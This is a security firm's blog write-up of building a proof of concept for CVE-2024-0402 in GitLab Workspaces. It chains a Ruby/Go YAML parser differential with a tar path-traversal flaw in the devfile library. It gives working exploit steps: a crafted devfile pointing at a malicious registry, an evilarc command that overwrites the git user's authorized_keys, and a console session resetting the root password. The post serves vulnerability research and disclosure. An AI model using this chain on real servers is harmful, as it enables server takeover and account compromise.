!exploitable Episode Three – Devfile Adventures

# !exploitable Episode Three – Devfile Adventures

18 Mar 2025 – Posted by Francesco Lacerenza

## Introduction

I know, we have written it multiple times now, but in case you are just tuning in, Doyensec had found themselves on a cruise ship touring the Mediterranean for our company retreat. To kill time between parties, we had some hacking sessions analyzing real-world vulnerabilities resulting in the **!exploitable** blogpost series.

In Part 1 we covered our journey into IoT ARM exploitation, while Part 2 followed our attempts to exploit the bug used by Trinity in _The Matrix Reloaded_ movie.

For this episode, we will dive into the exploitation of CVE-2024-0402 in GitLab. Like an onion, there is always another layer beneath the surface of this bug, from YAML parser differentials to path traversal in decompression functions in order to achieve arbitrary file write in GitLab.

No public Proof Of Concept was published and making it turned out to be an adventure, deserving an extension of the original author’s blogpost with the PoC-related info to close the circle 😉

## Some context

This vulnerability impacts the GitLab **Workspaces** functionality. To make a long story short, it lets developers instantly spin up integrated development environments (IDE) with all dependencies, tools, and configurations ready to go.

The whole Workspaces functionality relies on several components, including a running _Kubernetes GitLab Agent_ and a devfile configuration.

**Kubernetes GitLab Agent:** The Kubernetes GitLab Agent connects GitLab to a Kubernetes cluster, allowing users to enable deployment process automations and making it easier to integrate GitLab CI/CD pipelines. _It also allows Workspaces creation_.

**Devfile:** It is an open standard defining containerized development environments. Let’s start by saying it is configured with YAML files used to define the tools, runtime, and dependencies needed for a certain project.

Example of a devfile configuration (to be placed in the GitLab repository as `.devfile.yaml`):

“`
apiVersion: 1.0.0 metadata: name: my-app components: – name: runtime container: image: registry.access.redhat.com/ubi8/nodejs-14 endpoints: – name: http targetPort: 3000
“`

## The bug

Let’s start with the publicly available information enriched with extra code-context.

GitLab was using the `devfile` Gem ( _Ruby_ of course) making calls to the external `devfile` binary (written in Go) in order to process the `.devfile.yaml` files during Workspace creation in a specific repository.

During the devfile pre-processing routine applied by Workspaces, a specific validator named `validate_parent` was called by `PreFlattenDevfileValidator` in GitLab.

“`
# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50 … def self.validate_parent(value) value => { devfile: Hash => devfile } return err(_(“Inheriting from ‘parent’ is not yet supported”)) if devfile[‘parent’] Result.ok(value) end …
“`

But what is the `parent` option? As per the Devfile documentation:

> If you designate a parent devfile, the given devfile inherits all its behavior from its parent. Still, you can use the child devfile to override certain content from the parent devfile.

Then, it proceeds to describe three types of `parent` references:

– _Parent referred by registry_- remote devfile registry
– _Parent referred by URI_- static HTTP server
– _Parent identified by a Kubernetes resource_- available namespace

As with any other remote fetching functionality, it would be worth reviewing to find bugs. But at first glance the option seems to be blocked by `validate_parent`.

#### YAML parser differentials for the win

As widely known, even the most used implementations of specific standards may have minor deviations from what was defined in the specification. In this specific case, a YAML parser differential between Ruby and Go was needed.

The author blessed us with a new trick for our differentials notes. In the YAML Spec:

– The single exclamation mark `!` is used for custom or application-specific data types `my_custom_data: !MyType “some value”`
– The double exclamation mark `!!` is used for built-in YAML types `bool_value: !!bool “true”`

He found out that the local YAML tags notation `!` (RFC reference) is still activating the `binary` format _base64_ decoding in the Ruby `yaml` lib, while the Go `gopkg.in/yaml.v3` is just dropping it, leading to the following behavior:

“`
➜ cat test3.yaml normalk: just a value !binary parent: got injected ### valid parent option added in the parsed version (!binary dropped) ➜ go run g.go test3.yaml parent: got injected normalk: just a value ### invalid parent option as Base64 decoded value (!binary evaluated) ➜ ruby -ryaml -e ‘x = YAML.safe_load(File.read(“test3.yaml”));puts x’ {“normalk”=>”just a value”, “xA5xAAxDEx9E”=>”got injected”}
“`

Consequently, it was possible to pass GitLab a devfile with a `parent` option through `validate_parent` function and reach the `devfile` binary execution with it.

#### The arbitrary file write

At this point, we need to switch to a bug discovered in the `devfile` binary (Go implementation).

After looking into a dependency of a dependency of a dependency, the hunter got his hands on the `decompress` function. This was taking _tar.gz_ archives from the registry’s library and extracting the files inside the GitLab server. Later, it should then move them into the deployed Workspace environment.

Here is the vulnerable decompression function used by `getResourcesFromRegistry`:

“`
// decompress extracts the archive file func decompress(targetDir string, tarFile string, excludeFiles []string) error { var returnedErr error reader, err := os.Open(filepath.Clean(tarFile)) … gzReader, err := gzip.NewReader(reader) … tarReader := tar.NewReader(gzReader) for { header, err := tarReader.Next() … target := path.Join(targetDir, filepath.Clean(header.Name)) switch header.Typeflag { … case tar.TypeReg: /* #nosec G304 — target is produced using path.Join which cleans the dir path */ w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode)) if err != nil { returnedErr = multierror.Append(returnedErr, err) return returnedErr } /* #nosec G110 — starter projects are vetted before they are added to a registry. Their contents can be seen before they are downloaded */ _, err = io.Copy(w, tarReader) if err != nil { returnedErr = multierror.Append(returnedErr, err) return returnedErr } err = w.Close() if err != nil { returnedErr = multierror.Append(returnedErr, err) return returnedErr } default: log.Printf(“Unsupported type: %v”, header.Typeflag) } } return nil }
“`

The function opens `tarFile` and iterates through its contents with `tarReader.Next()`. Only contents of type `tar.TypeDir` and `tar.TypeReg` are processed, preventing symlink and other nested exploitations.

Nevertheless, the line `target := path.Join(targetDir, filepath.Clean(header.Name))` is vulnerable to path traversal for the following reasons:

– `header.Name` comes from a remote _tar_ archive served by the devfile registry
– `filepath.Clean` is known for not preventing path traversals on relative paths ( `../` is not removed)

The resulting execution will be something like:

“`
fmt.Println(filepath.Clean(“/../../../../../../../tmp/test”)) // absolute path fmt.Println(filepath.Clean(“../../../../../../../tmp/test”)) // relative path //prints /tmp/test ../../../../../../../tmp/test
“`

There are plenty of scripts to create a valid PoC for an evil archive exploiting such directory traversal pattern (e.g., evilarc.py).

#### Linking the pieces

1. A decompression issue in the `devfile` lib fetching files from a remote registry allowed a devfile registry containing a malicious `.tar` archive to write arbitrary files within the devfile client system
2. In GitLab, a developer could craft a _bad-yet-valid_ `.devfile.yaml` definition including the `parent` option that will force the GitLab server to use the malicious registry, hence triggering the arbitrary file write on the server itself

**The requirements to exploit this vuln are**:

– Access to the targeted GitLab as a _developer_ capable of committing code to a repository
– Workspace functionality configured properly on the GitLab instance ( _v16.8.0_ and below)

## Let’s exploit it!

##### Configuring the environment

To ensure you have the full picture, I must tell you what it’s like to configure Workspaces in GitLab, with slow internet while being on a cruise 🌊 – an absolute nightmare!

Of course, there are the docs on how to do so, but today you will be blessed with some extra finds:

– Follow the _GitLab 16.8_ documentation page, NOT the latest one since it changed. Do not be like us, wasting fun time in the middle of the sea.
– The feature changed so much, they even removed the container images required by GitLab _16.8_. So, you need to patch the missing `web-ide-injector` container image. `[email protected]:~$ find / -name “editor_component_injector.rb” 2>/dev/null /opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb`
Replace the value at line 129 of the
`web-ide-injector` image with: `registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest`
– The GitLab Agent must have the `remote_development` option to allow Workspaces.

Here is a valid `config.yaml` file for it `remote_development: enabled: true dns_zone: “workspaces.gitlab.yourdomain.com” observability: logging: level: debug grpc_level: warn`

May the force be with you while configuring it.

### Time to craft

As previously stated, this bug chain is layered like an onion. Here is a classic 2025 AI generated image sketching it for us:

The publicly available information left us with the following tasks if we wanted to exploit it:

1. Deploy a custom devfile registry, which turned out to be easy following the original repository
2. Make it **malicious** by including the _.tar_ file packed with our path traversal to overwrite something in the GitLab instance
3. Add a `.devfile.yaml` pointing to it in a target GitLab repository

In order to find out where the _malicious.tar_ belonged, we had to take a step back and read some more code.
In particular, we had to understand the context in which the vulnerable `decompress` function was being called.

We ended up reading `PullStackByMediaTypesFromRegistry`, a function used to pull a specified stack with allowed media types from a given registry URL to some destination directory.

See at library.go:293

“`
func PullStackByMediaTypesFromRegistry(registry string, stack string, allowedMediaTypes []string, destDir string, options RegistryOptions) error { //… //Logic to Pull a stack from registry and save it to disk //… // Decompress archive.tar archivePath := filepath.Join(destDir, “archive.tar”) if _, err := os.Stat(archivePath); err == nil { err := decompress(destDir, archivePath, ExcludedFiles) if err != nil { return err } err = os.RemoveAll(archivePath) if err != nil { return err } } return nil }
“`

The code pattern highlighted that **devfile registry stacks** were involved and that they included some _archive.tar_ file in their structure.

**Why should a devfile stack contain a tar?**

> An archive.tar file may be included in the package to distribute starter projects or pre-configured application templates. It helps developers quickly set up their workspace with example code, configurations, and dependencies.

A few quick GitHub searches in the devfile registry building process revealed that our target _.tar_ file should be placed within the registry project under `stacks///archive.tar` in the same directory containing the `devfile.yaml` for the specific version being deployed.

As a result, the destination for the path-traversal _tar_ in our custom registry is:

“`
malicious-registry/stacks/nodejs/2.2.1/archive.tar
“`

#### Building & running the malicious devfile registry

It required some extra work to build our custom registry (couldn’t make the building scripts work, had to edit them), but we eventually managed to place our `archive.tar` (e.g., created using evilarc.py) in the right spot and craft a proper `index.json` to serve it. The final reusable structure can be found in our PoC repository, so save yourself some time to build the devfile registry image.

Commands to run the malicious registry:

– `docker run -d -p 5000:5000 –name local-registrypoc registry:2` to serve a local container registry that will be used by the devfile registry to store the actual stack (see _yellow_ highlight)
– `docker run –network host devfile-index` to run the malicious devfile registry built with the official repository. Find it in our PoC repository

#### Pull the trigger 💥

Once you have a running registry reachable by the target GitLab instance, you just have to authenticate in GitLab as developer and edit the `.devfile.yaml` of a repository to point it by exploiting the _YAML parser differential_ shown before.

Here is an example you can use:

“`
schemaVersion: 2.2.0 !binary parent: id: nodejs registryUrl: http://: components: – name: development-environment attributes: gl/inject-editor: true container: image: “registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676”
“`

To trigger the file-write, just start a new Workspace in the edited repo and wait.

Nice! We have successfully written `Hello CVE-2024-0402!` in `/tmp/plsWorkItsPartyTime.txt`.

#### Where to go now…

We got the write, but we couldn’t stop there, so we investigated some reliable ways to escalate it.

First things first, we checked the system user performing the file write using a session on the GitLab server.

“`
/tmp$ ls -lah /tmp/plsWorkItsPartyTime.txt -rw-rw-r– 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt
“`

Apparently, our go-to user is `git`, a pretty important user in the GitLab internals.
After inspecting writeable files for a quick win, we found out it seemed hardened without tons of editable config files, as expected.

“`
… /var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml /var/opt/gitlab/.gitconfig /var/opt/gitlab/.ssh/authorized_keys /opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql /opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql /var/opt/gitlab/git-data/repositories/.gitaly-metadata …
“`

Some interesting files were waiting to be overwritten, but you may have noticed the quickest yet not honorable entry: `/var/opt/gitlab/.ssh/authorized_keys`.

Notably, you can add an SSH key to your GitLab account and then use it to SSH as `git` to perform code-related operations. The `authorized_keys` file is managed by the GitLab Shell, which adds the SSH Keys from the user profile and forces them into a restricted shell to further manage/restrict the user access-level.

Here is an example line added to the authorized keys when you add your profile SSH key in GitLab:

“`
command=”/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1″,no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3…[REDACTED]
“`

Since we got arbitrary file write, we can just substitute the `authorized_keys` with one containing a non-restricted key we can use. Back to our exploit prepping, create a new _.tar_ ad-hoc for it:

“`
## write a valid entry in a local authorized_keys for one of your keys ➜ python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix
“`

At this point, substitute the `archive.tar` in your malicious devfile registry, rebuild its image and run it. When ready, trigger the exploit again by creating a new Workspace in the GitLab Web UI.

After a few seconds, you should be able to SSH as an unrestricted `git` user.
Below we also show how to change the GitLab Web `root` user’s password:

“`
➜ ssh -i ~/.ssh/gitlab2 [email protected][email protected]:~$ gitlab-rails console –environment production ——————————————————————————– Ruby: ruby 3.1.4p223 (2023-03-30 revision 957bb7cb81) [x86_64-linux] GitLab: 16.8.0-ee (1e912d57d5a) EE GitLab Shell: 14.32.0 PostgreSQL: 14.9 ————————————————————[ booted in 39.28s ] Loading production environment (Rails 7.0.8) irb(main):002:0> user = User.find_by_username ‘root’ => # irb(main):003:0> new_password = ‘ItIsPartyTime!’ => “ItIsPartyTime!” irb(main):004:0> user.password = new_password => “ItIsPartyTime!” irb(main):005:0> user.password_confirmation = new_password => “ItIsPartyTime!” irb(main):006:0> user.password_automatically_set = false irb(main):007:0> user.save! => true
“`

Finally, you are ready to authenticate as the `root` user in the target Web instance.

## Conclusion

Our goal was to build a PoC for CVE-2024-0402. We were able to do it despite the restricted time and connectivity. Still, there were tons of configuration errors while preparing the GitLab Workspaces environment, we almost surrendered because the feature itself was just not working after hours of setup. Once again, that demonstrates how very good bugs can be found in places where just a few people adventure because of config time constraints.

Shout out to joernchen for the discovery of the chain. Not only was the bug great, but he also did an amazing work in describing the research path he followed in this article. We had fun exploiting it and we hope people will save time with our public exploit!